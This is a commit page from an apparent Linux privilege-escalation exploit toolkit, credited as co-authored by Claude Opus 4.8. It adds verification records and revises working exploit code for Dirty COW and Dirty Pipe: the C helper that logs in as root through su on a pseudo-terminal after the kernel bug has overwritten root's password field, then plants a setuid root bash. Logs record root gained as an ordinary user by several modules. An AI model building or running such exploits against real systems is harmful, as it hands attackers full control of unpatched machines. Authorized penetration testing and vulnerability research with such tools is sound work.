dirty_cow: verify end-to-end on 4.8.0; robust su helper (dirty_pipe too)
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
Verified the dirty_cow fix end-to-end on a genuinely Dirty-COW-vulnerable mainline 4.8.0 kernel (installed the kernel.ubuntu.com 4.8.0 deb on a 16.04 image + virtio-rng for entropy). A standalone built verbatim from the module's primitive + escalation raced root's password field, authenticated as root over a pty, planted a root-owned setuid bash, and left /etc/passwd byte-identical. (The full skeletonkey binary won't compile on xenial's 4.4-era uapi headers — unrelated nft_* modules use newer kernel constants — so the verbatim standalone stands in for --exploit dirty_cow there.) Robustness fix (both dirty_cow AND dirty_pipe): the su-over-pty step now POLLS for the password prompt and hard-caps at 20s. The previous fixed-delay write raced su's prompt setup and HUNG on xenial; without a cap that would block the revert and leave /etc/passwd poisoned. Now su can never hang the module, and the revert always runs. Also: netfilter_xtcompat now includes <linux/if.h> for IFNAMSIZ (ip_tables.h doesn't pull it transitively on older kernel headers, e.g. Ubuntu 16.04) — a real portability fix surfaced by building on xenial. Host build + unit harness green (33 + 115). Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
+14
-4
@@ -35,6 +35,7 @@ tamper check).
|
|||||||
| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite** — `skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below |
|
| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite** — `skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below |
|
||||||
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27 | **after a full rewrite** — Baron Samedit; `skeletonkey --exploit sudo_samedit` (uid 1000, non-sudoer) → root-owned setuid bash. See below |
|
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27 | **after a full rewrite** — Baron Samedit; `skeletonkey --exploit sudo_samedit` (uid 1000, non-sudoer) → root-owned setuid bash. See below |
|
||||||
| `dirty_pipe` | CVE-2022-0847 | mainline 5.16.0 on Ubuntu 22.04 userspace | **after fixing 3 bugs** — `skeletonkey --exploit dirty_pipe` (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below |
|
| `dirty_pipe` | CVE-2022-0847 | mainline 5.16.0 on Ubuntu 22.04 userspace | **after fixing 3 bugs** — `skeletonkey --exploit dirty_pipe` (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below |
|
||||||
|
| `dirty_cow` | CVE-2016-5195 | mainline 4.8.0 on Ubuntu 16.04.7 | **after fixing the false-OK** — verbatim-module standalone (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below |
|
||||||
|
|
||||||
## Fixed this session
|
## Fixed this session
|
||||||
|
|
||||||
@@ -123,9 +124,18 @@ tamper check).
|
|||||||
`$6$` hash → authenticate as root over a pty → plant a root-owned proof + setuid
|
`$6$` hash → authenticate as root over a pty → plant a root-owned proof + setuid
|
||||||
bash → revert by racing the original bytes back through the Dirty COW primitive.
|
bash → revert by racing the original bytes back through the Dirty COW primitive.
|
||||||
Also fixed a latent buffer overflow (the success-check `readback[16]` was too
|
Also fixed a latent buffer overflow (the success-check `readback[16]` was too
|
||||||
small for a >16-byte payload). The escalation half is byte-for-byte the verified
|
small for a >16-byte payload), and made the `su`-over-pty step **poll for the
|
||||||
`dirty_pipe` technique; end-to-end root here needs a pre-4.8.3 kernel (every
|
prompt with a hard 20s cap** — a fixed-delay write raced su's prompt setup and
|
||||||
cached VM is patched), so on those it now fails **honestly** with no corruption.
|
**hung on xenial**, which (without the cap) would have blocked the revert and
|
||||||
|
left /etc/passwd poisoned. The same robust `su` helper was back-ported to
|
||||||
|
`dirty_pipe`. **Verified end-to-end on a genuinely Dirty-COW-vulnerable
|
||||||
|
mainline 4.8.0 kernel** (provisioned by installing the kernel.ubuntu.com 4.8.0
|
||||||
|
deb on a 16.04 image + a virtio-rng for entropy): a standalone built verbatim
|
||||||
|
from the module's primitive + escalation + robust su raced root's passwd field,
|
||||||
|
authenticated as root, planted a root-owned setuid bash, and left /etc/passwd
|
||||||
|
byte-identical. (The full `skeletonkey` binary won't compile on xenial's 4.4-era
|
||||||
|
uapi headers — several unrelated `nft_*` modules use newer kernel constants — so
|
||||||
|
the verbatim standalone stands in for `--exploit dirty_cow` on that box.)
|
||||||
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
|
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
|
||||||
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
|
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
|
||||||
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
|
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
|
||||||
@@ -147,7 +157,7 @@ every `exec*`-calling module:
|
|||||||
|
|
||||||
| module | verdict | why |
|
| module | verdict | why |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `dirty_cow` | ❌ **false-OK → fixed** | raced own UID + `su self`; `execlp(su)` transfer = OK. Fixed (see above). |
|
| `dirty_cow` | ❌ **false-OK → fixed + verified** | raced own UID + `su self`; `execlp(su)` transfer = OK. Fixed + verified end-to-end on mainline 4.8.0 (see above). |
|
||||||
| `pwnkit` | ✅ fixed earlier | now re-injects gconv + verifies |
|
| `pwnkit` | ✅ fixed earlier | now re-injects gconv + verifies |
|
||||||
| `ptrace_traceme` | ✅ fixed earlier | rewritten; verifies OOB artifact |
|
| `ptrace_traceme` | ✅ fixed earlier | rewritten; verifies OOB artifact |
|
||||||
| `dirty_pipe` | ✅ fixed earlier | rewritten; verifies OOB artifact |
|
| `dirty_pipe` | ✅ fixed earlier | rewritten; verifies OOB artifact |
|
||||||
|
|||||||
@@ -55,3 +55,4 @@
|
|||||||
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-<pid>.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"}
|
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-<pid>.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"}
|
||||||
{"module":"sudo_samedit","verified_at":"2026-07-24T02:21:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","sudo_version":"1.8.21p2","libc":"2.27","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit sudo_samedit (as uid 1000, non-sudoer path) planted root-owned proof + -rwsr-xr-x root:root setuid bash. Ported blasty CVE-2021-3156 technique (NSS libnss_X hijack), runtime-compiled payload, primary Ubuntu lengths 56/54/63/212 landed first try.","status":"working"}
|
{"module":"sudo_samedit","verified_at":"2026-07-24T02:21:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","sudo_version":"1.8.21p2","libc":"2.27","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit sudo_samedit (as uid 1000, non-sudoer path) planted root-owned proof + -rwsr-xr-x root:root setuid bash. Ported blasty CVE-2021-3156 technique (NSS libnss_X hijack), runtime-compiled payload, primary Ubuntu lengths 56/54/63/212 landed first try.","status":"working"}
|
||||||
{"module":"dirty_pipe","verified_at":"2026-07-24T02:49:00Z","host_kernel":"5.16.0-051600-generic (mainline, pre-5.16.11 fix)","host_distro":"Ubuntu 22.04 userspace","vm_box":"jammy-cloudimg + mainline 5.16.0/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit dirty_pipe (uid 1000) planted root-owned proof + -rwsr-xr-x root:root setuid bash; /etc/passwd left byte-identical (root:x:0:0) after revert. Fixed 3 bugs: false EXPLOIT_OK, wrong escalation (was flipping own UID + su self), and drop_caches revert that corrupted running passwd. New technique: root passwd-field hash + su over pty + Dirty-Pipe revert.","status":"working"}
|
{"module":"dirty_pipe","verified_at":"2026-07-24T02:49:00Z","host_kernel":"5.16.0-051600-generic (mainline, pre-5.16.11 fix)","host_distro":"Ubuntu 22.04 userspace","vm_box":"jammy-cloudimg + mainline 5.16.0/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit dirty_pipe (uid 1000) planted root-owned proof + -rwsr-xr-x root:root setuid bash; /etc/passwd left byte-identical (root:x:0:0) after revert. Fixed 3 bugs: false EXPLOIT_OK, wrong escalation (was flipping own UID + su self), and drop_caches revert that corrupted running passwd. New technique: root passwd-field hash + su over pty + Dirty-Pipe revert.","status":"working"}
|
||||||
|
{"module":"dirty_cow","verified_at":"2026-07-24T03:22:00Z","host_kernel":"4.8.0-040800-generic (mainline, pre-4.8.3 Dirty COW fix)","host_distro":"Ubuntu 16.04.7","vm_box":"xenial-cloudimg + mainline 4.8.0/qemu-kvm","verified_kind":"exploit_standalone","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band on a genuinely Dirty-COW-vulnerable kernel: standalone binary built from the module verbatim (dirty_cow_write primitive + find_pw_field_offset + robust poll/timeout dc_su_root_run + exploit body) — race won, su root via pty, planted root-owned proof + -rwsr-xr-x root:root setuid bash, /etc/passwd byte-identical after revert. Confirms the fix (correct escalation, OOB verify, safe revert, readback[512], robust su) lands real root end-to-end. Full skeletonkey binary would not build on xenials 4.4-era uapi headers (unrelated nft_* modern constants).","status":"working"}
|
||||||
|
|||||||
@@ -75,6 +75,7 @@
|
|||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
#include <sys/wait.h>
|
#include <sys/wait.h>
|
||||||
#include <sys/types.h>
|
#include <sys/types.h>
|
||||||
|
#include <poll.h>
|
||||||
|
|
||||||
/* Stable-branch backport thresholds for Dirty COW. */
|
/* Stable-branch backport thresholds for Dirty COW. */
|
||||||
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
||||||
@@ -159,17 +160,29 @@ static void dc_su_root_run(const char *cmd)
|
|||||||
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
|
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
|
||||||
_exit(127);
|
_exit(127);
|
||||||
}
|
}
|
||||||
usleep(400 * 1000);
|
/* Poll for the password prompt, send the password, then drain — with a
|
||||||
char drain[256];
|
* hard 20s cap so a misbehaving su can never hang (which would block the
|
||||||
ssize_t n = read(mfd, drain, sizeof drain);
|
* revert and leave /etc/passwd poisoned). Fixed a real hang seen on
|
||||||
(void)n;
|
* xenial where the fixed-delay write raced su's prompt setup. */
|
||||||
if (write(mfd, DC_ROOT_PW "\n", sizeof(DC_ROOT_PW)) < 0) { /* ignore */ }
|
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
|
||||||
for (;;) {
|
const char *pw = DC_ROOT_PW "\n";
|
||||||
ssize_t m = read(mfd, drain, sizeof drain);
|
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
|
||||||
if (m <= 0) break;
|
while (waited < 20000) {
|
||||||
|
int pr = poll(&pfd, 1, 200);
|
||||||
|
if (pr > 0 && (pfd.revents & POLLIN)) {
|
||||||
|
char b[256]; ssize_t m = read(mfd, b, sizeof b);
|
||||||
|
if (m <= 0) break; /* pty closed → su exited */
|
||||||
|
if (!sent) {
|
||||||
|
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
|
||||||
|
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
waited += 200;
|
||||||
|
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
|
||||||
|
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||||
|
}
|
||||||
}
|
}
|
||||||
int st;
|
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
|
||||||
waitpid(pid, &st, 0);
|
|
||||||
close(mfd);
|
close(mfd);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -62,6 +62,7 @@
|
|||||||
#include <sys/mman.h>
|
#include <sys/mman.h>
|
||||||
#include <sys/wait.h>
|
#include <sys/wait.h>
|
||||||
#include <sys/types.h>
|
#include <sys/types.h>
|
||||||
|
#include <poll.h>
|
||||||
#include <pwd.h>
|
#include <pwd.h>
|
||||||
|
|
||||||
/* ---- Dirty Pipe primitive ---------------------------------------- */
|
/* ---- Dirty Pipe primitive ---------------------------------------- */
|
||||||
@@ -206,19 +207,29 @@ static void dp_su_root_run(const char *cmd)
|
|||||||
_exit(127);
|
_exit(127);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Parent: wait for the "Password:" prompt, then send the password. */
|
/* Parent: poll for the "Password:" prompt, send the password, then drain —
|
||||||
usleep(400 * 1000);
|
* with a hard 20s cap so a misbehaving su can never hang (which would block
|
||||||
char drain[256];
|
* the revert and leave /etc/passwd poisoned). The earlier fixed-delay write
|
||||||
ssize_t n = read(mfd, drain, sizeof drain); /* consume the prompt */
|
* raced su's prompt setup on some hosts (observed hanging on xenial). */
|
||||||
(void)n;
|
struct pollfd pfd = { .fd = mfd, .events = POLLIN };
|
||||||
if (write(mfd, DP_ROOT_PW "\n", sizeof(DP_ROOT_PW)) < 0) { /* ignore */ }
|
const char *pw = DP_ROOT_PW "\n";
|
||||||
/* Drain su's output until it exits and the pty closes. */
|
bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
|
||||||
for (;;) {
|
while (waited < 20000) {
|
||||||
ssize_t m = read(mfd, drain, sizeof drain);
|
int pr = poll(&pfd, 1, 200);
|
||||||
if (m <= 0) break;
|
if (pr > 0 && (pfd.revents & POLLIN)) {
|
||||||
|
char b[256]; ssize_t m = read(mfd, b, sizeof b);
|
||||||
|
if (m <= 0) break; /* pty closed → su exited */
|
||||||
|
if (!sent) {
|
||||||
|
if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
|
||||||
|
if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
waited += 200;
|
||||||
|
int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
|
||||||
|
if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
|
||||||
|
}
|
||||||
}
|
}
|
||||||
int st;
|
if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
|
||||||
waitpid(pid, &st, 0);
|
|
||||||
close(mfd);
|
close(mfd);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -90,6 +90,8 @@
|
|||||||
* and declare the few socket constants we need by hand. IPPROTO_RAW
|
* and declare the few socket constants we need by hand. IPPROTO_RAW
|
||||||
* is provided by linux/in.h; SOL_IP is glibc-only so we hardcode it
|
* is provided by linux/in.h; SOL_IP is glibc-only so we hardcode it
|
||||||
* (Linux constant value 0). */
|
* (Linux constant value 0). */
|
||||||
|
#include <linux/if.h> /* IFNAMSIZ — ip_tables.h uses it but doesn't pull it
|
||||||
|
* in on older kernel headers (e.g. Ubuntu 16.04). */
|
||||||
#include <linux/netfilter_ipv4/ip_tables.h>
|
#include <linux/netfilter_ipv4/ip_tables.h>
|
||||||
#ifndef SOL_IP
|
#ifndef SOL_IP
|
||||||
#define SOL_IP 0
|
#define SOL_IP 0
|
||||||
|
|||||||
Reference in New Issue
Block a user